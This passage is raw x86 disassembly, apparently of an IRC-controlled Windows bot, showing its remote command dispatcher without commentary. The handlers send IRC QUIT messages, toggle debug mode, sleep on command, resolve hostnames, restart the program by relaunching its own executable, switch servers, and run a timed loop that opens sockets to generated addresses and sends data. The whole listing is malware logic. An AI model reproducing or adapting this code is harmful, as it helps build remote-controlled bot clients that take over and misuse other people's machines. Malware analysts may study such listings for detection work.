		push	offset dword_41ED48
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41ED48
		push	offset dword_41DAB4
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BA79:				; CODE XREF: sub_40A9CF+1039j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BADB
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA9C
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BA9C:				; CODE XREF: sub_40A9CF+10C6j
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BAB3
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63F0],	eax
		jmp	short loc_40BABD
; ---------------------------------------------------------------------------

loc_40BAB3:				; CODE XREF: sub_40A9CF+10D4j
		mov	[ebp+var_63F0],	offset byte_41DE30

loc_40BABD:				; CODE XREF: sub_40A9CF+10E2j
		push	[ebp+var_63F0]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BADB:				; CODE XREF: sub_40A9CF+10BDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB15
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BAFE
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BAFE:				; CODE XREF: sub_40A9CF+1128j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419AB0
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BB15:				; CODE XREF: sub_40A9CF+111Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB6C
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BB38
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BB38:				; CODE XREF: sub_40A9CF+1162j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_5A70],	eax
		cmp	[ebp+var_5A70],	927C0h
		jle	short loc_40BB5B
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BB5B:				; CODE XREF: sub_40A9CF+1185j
		push	[ebp+var_5A70]
		call	dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BB6C:				; CODE XREF: sub_40A9CF+1159j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A9C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBB0
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BB93
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BB98

loc_40BB93:				; CODE XREF: sub_40A9CF+11B9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BB98:				; CODE XREF: sub_40A9CF+11C2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D4AB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BBB0:				; CODE XREF: sub_40A9CF+11B0j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBF4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BBD7
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BBDC

loc_40BBD7:				; CODE XREF: sub_40A9CF+11FDj
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BBDC:				; CODE XREF: sub_40A9CF+1206j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BBF4:				; CODE XREF: sub_40A9CF+11F4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BC28
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC17
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BC17:				; CODE XREF: sub_40A9CF+1241j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BC28:				; CODE XREF: sub_40A9CF+1238j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCB2
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC84
		cmp	dword_41DE38, 0
		jz	short loc_40BC5B
		mov	[ebp+var_63F4],	offset aOn ; "on"
		jmp	short loc_40BC65
; ---------------------------------------------------------------------------

loc_40BC5B:				; CODE XREF: sub_40A9CF+127Ej
		mov	[ebp+var_63F4],	offset aOff ; "off"

loc_40BC65:				; CODE XREF: sub_40A9CF+128Aj
		push	[ebp+var_63F4]
		push	offset aDebugModeIsS_ ;	"Debug mode is %s."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BC84:				; CODE XREF: sub_40A9CF+1275j
		push	offset aOn	; "on"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40BCA6
		mov	dword_41DE38, 1
		jmp	short loc_40BCAD
; ---------------------------------------------------------------------------

loc_40BCA6:				; CODE XREF: sub_40A9CF+12C9j
		and	dword_41DE38, 0

loc_40BCAD:				; CODE XREF: sub_40A9CF+12D5j
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BCB2:				; CODE XREF: sub_40A9CF+126Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415DFD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BCD9:				; CODE XREF: sub_40A9CF+12F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A44
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD13
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BCFC
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BCFC:				; CODE XREF: sub_40A9CF+1326j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_419A3C
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BD13:				; CODE XREF: sub_40A9CF+131Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A24
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD62

loc_40BD52:				; CODE XREF: sub_40A9CF+1357j
					; sub_40A9CF+136Cj
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BD62:				; CODE XREF: sub_40A9CF+1381j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A10
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BDC9
		push	104h
		lea	eax, [ebp+var_5B74]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_5B74]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_40BDB6
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BDB6:				; CODE XREF: sub_40A9CF+13E0j
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx
		push	0
		call	dword_41705C	; ExitProcess

loc_40BDC9:				; CODE XREF: sub_40A9CF+13A6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A04
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE19
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BDEC
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BDEC:				; CODE XREF: sub_40A9CF+1416j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_4199D4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BE19:				; CODE XREF: sub_40A9CF+140Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE38
		call	sub_407148
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BE38:				; CODE XREF: sub_40A9CF+145Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199BC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BE62
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199B0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE7B

loc_40BE62:				; CODE XREF: sub_40A9CF+147Cj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_401D6E
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BE7B:				; CODE XREF: sub_40A9CF+1491j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199A8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEA9
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40CEB0
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BEA9:				; CODE XREF: sub_40A9CF+14BFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41999C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BED3
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41998C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEFD

loc_40BED3:				; CODE XREF: sub_40A9CF+14EDj
		push	offset aQuitChangingSe ; "QUIT :changing server"
		call	sub_40D6CB
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BEFD:				; CODE XREF: sub_40A9CF+1502j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41996C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C0D9
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BF29
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DE30

loc_40BF29:				; CODE XREF: sub_40A9CF+154Ej
		lea	eax, [ebp+var_5B78]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jnz	loc_40C0BA
		mov	eax, [ebp+var_5B78]
		mov	[ebp+var_5B7C],	eax

loc_40BF54:				; CODE XREF: sub_40A9CF+16D8j
		cmp	[ebp+var_5B7C],	0
		jz	loc_40C0AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+18h]
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jnz	loc_40C098
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40BFEA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40BFBA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63F8],	eax
		jmp	short loc_40BFC4
; ---------------------------------------------------------------------------

loc_40BFBA:				; CODE XREF: sub_40A9CF+15DBj
		mov	[ebp+var_63F8],	offset dword_419968

loc_40BFC4:				; CODE XREF: sub_40A9CF+15E9j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63F8]
		push	offset dword_419944
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C08D
; ---------------------------------------------------------------------------

loc_40BFEA:				; CODE XREF: sub_40A9CF+15CEj
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 17h
		jnz	short loc_40C03E
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C011
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63FC],	eax
		jmp	short loc_40C01B
; ---------------------------------------------------------------------------

loc_40C011:				; CODE XREF: sub_40A9CF+1632j
		mov	[ebp+var_63FC],	offset dword_419968

loc_40C01B:				; CODE XREF: sub_40A9CF+1640j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63FC]
		push	offset dword_419920
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_40C08D
; ---------------------------------------------------------------------------

loc_40C03E:				; CODE XREF: sub_40A9CF+1625j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C059
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6400],	eax
		jmp	short loc_40C063
; ---------------------------------------------------------------------------

loc_40C059:				; CODE XREF: sub_40A9CF+167Aj
		mov	[ebp+var_6400],	offset dword_419968

loc_40C063:				; CODE XREF: sub_40A9CF+1688j
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+4]
		push	[ebp+var_6400]
		push	offset dword_4198EC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h

loc_40C08D:				; CODE XREF: sub_40A9CF+1616j
					; sub_40A9CF+166Dj
		push	3E8h
		call	dword_41709C	; Sleep

loc_40C098:				; CODE XREF: sub_40A9CF+15BEj
		mov	eax, [ebp+var_5B7C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_5B7C],	eax
		jmp	loc_40BF54
; ---------------------------------------------------------------------------

loc_40C0AC:				; CODE XREF: sub_40A9CF+158Cj
		push	[ebp+var_5B78]
		call	dword_41DE8C	; freeaddrinfo
		jmp	short loc_40C0D4
; ---------------------------------------------------------------------------

loc_40C0BA:				; CODE XREF: sub_40A9CF+1573j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch

loc_40C0D4:				; CODE XREF: sub_40A9CF+16E9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C0D9:				; CODE XREF: sub_40A9CF+1541j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4198C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C1D4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40C105
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DE30

loc_40C105:				; CODE XREF: sub_40A9CF+172Aj
		lea	eax, [ebp+var_5F84]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jnz	loc_40C1B5
		push	4
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_6388]
		push	eax
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+18h]
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jnz	short loc_40C1A9
		push	[ebp+var_5F84]
		call	dword_41DE8C	; freeaddrinfo
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C179
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6404],	eax
		jmp	short loc_40C183
; ---------------------------------------------------------------------------

loc_40C179:				; CODE XREF: sub_40A9CF+179Aj
		mov	[ebp+var_6404],	offset dword_419968

loc_40C183:				; CODE XREF: sub_40A9CF+17A8j
		lea	eax, [ebp+var_6388]
		push	eax
		push	[ebp+var_6404]
		push	offset dword_4198A8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C1A9:				; CODE XREF: sub_40A9CF+1781j
		push	[ebp+var_5F84]
		call	dword_41DE8C	; freeaddrinfo

loc_40C1B5:				; CODE XREF: sub_40A9CF+174Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C1D4:				; CODE XREF: sub_40A9CF+171Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419898
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C37A
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C207
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 0Ah
		ja	short loc_40C20C

loc_40C207:				; CODE XREF: sub_40A9CF+1825j
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C20C:				; CODE XREF: sub_40A9CF+1836j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_638C],	eax
		push	4
		push	offset a2002	; "2002"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416DEA	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40C35B
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-9]
		mov	[ebp+var_6398],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-8]
		mov	[ebp+var_6397],	al
		and	[ebp+var_6396],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-7]
		mov	[ebp+var_6395],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-6]
		mov	[ebp+var_6394],	al
		and	[ebp+var_6393],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-4]
		mov	[ebp+var_6392],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-3]
		mov	[ebp+var_6391],	al
		and	[ebp+var_6390],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-2]
		mov	[ebp+var_638F],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-1]
		mov	[ebp+var_638E],	al
		and	[ebp+var_638D],	0
		lea	eax, [ebp+var_638F]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6392]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6395]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6398]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419860
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		jmp	short loc_40C375
; ---------------------------------------------------------------------------

loc_40C35B:				; CODE XREF: sub_40A9CF+1866j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419844
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch

loc_40C375:				; CODE XREF: sub_40A9CF+198Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C37A:				; CODE XREF: sub_40A9CF+1818j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419838
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C4B0
		call	sub_416B64	; clock
		mov	[ebp+var_639C],	eax
		and	[ebp+var_63A4],	0
		and	[ebp+var_63A0],	0
		push	10h
		push	0
		lea	eax, [ebp+var_63B4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_63B4],	2

loc_40C3C8:				; CODE XREF: sub_40A9CF+1A95j
		call	sub_416B64	; clock
		sub	eax, [ebp+var_639C]
		cmp	eax, 3E8h
		jnb	loc_40C469
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_63B2],	ax
		push	4
		push	0
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	[ebp+var_63B0],	eax
		push	0
		push	2
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_63B8],	eax
		push	10h
		lea	eax, [ebp+var_63B4]
		push	eax
		push	[ebp+var_63B8]
		call	dword_4171F4	; connect
		push	0
		push	1
		lea	eax, [ebp+var_63A0]
		push	eax
		push	[ebp+var_63B8]
		call	dword_41720C	; send
		push	[ebp+var_63B8]
		call	dword_417230	; closesocket
		mov	eax, [ebp+var_63A4]
		add	eax, 2Bh
		mov	[ebp+var_63A4],	eax
		jmp	loc_40C3C8
; ---------------------------------------------------------------------------

loc_40C469:				; CODE XREF: sub_40A9CF+1A09j
		cmp	[ebp+var_63A4],	400h
		jbe	short loc_40C483
		mov	eax, [ebp+var_63A4]
		mov	[ebp+var_6408],	eax
		jmp	short loc_40C48D
; ---------------------------------------------------------------------------

loc_40C483:				; CODE XREF: sub_40A9CF+1AA4j
		mov	[ebp+var_6408],	400h

loc_40C48D:				; CODE XREF: sub_40A9CF+1AB2j
		mov	eax, [ebp+var_6408]
		shr	eax, 0Ah
		push	eax
		push	offset dword_419820
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C4B0:				; CODE XREF: sub_40A9CF+19BEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419818
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C4DA
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41980C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C4FF

loc_40C4DA:				; CODE XREF: sub_40A9CF+1AF4j
		push	offset dword_41DC34
		push	3B6h
		push	0
		push	offset dword_4197E8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C4FF:				; CODE XREF: sub_40A9CF+1B09j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C53A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4142BF
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C53A:				; CODE XREF: sub_40A9CF+1B43j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197D4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C564
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C576

loc_40C564:				; CODE XREF: sub_40A9CF+1B7Ej
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4087C4
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C576:				; CODE XREF: sub_40A9CF+1B93j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C5A0
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197B4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C5B2

loc_40C5A0:				; CODE XREF: sub_40A9CF+1BBAj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_408E4A
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C5B2:				; CODE XREF: sub_40A9CF+1BCFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197A4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C614
		push	1
		push	offset a9252	; "9252"
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_63BC],	eax
		push	[ebp+var_63BC]
		push	offset dword_418B5C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		cmp	[ebp+var_63BC],	0
		jnz	short loc_40C603
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C603:				; CODE XREF: sub_40A9CF+1C2Dj
		push	[ebp+var_63BC]
		call	sub_404CBB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C614:				; CODE XREF: sub_40A9CF+1BF6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419790
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C63B
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4091E2
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C63B:				; CODE XREF: sub_40A9CF+1C58j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419788
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C669
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41977C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C896

loc_40C669:				; CODE XREF: sub_40A9CF+1C7Fj
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C686
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_640C],	eax
		jmp	short loc_40C68D
; ---------------------------------------------------------------------------

loc_40C686:				; CODE XREF: sub_40A9CF+1CA1j
		and	[ebp+var_640C],	0

loc_40C68D:				; CODE XREF: sub_40A9CF+1CB5j
		mov	eax, [ebp+var_640C]
		mov	[ebp+var_63C8],	eax
		call	sub_4092A4
		mov	[ebp+var_63E0],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63D8],	eax
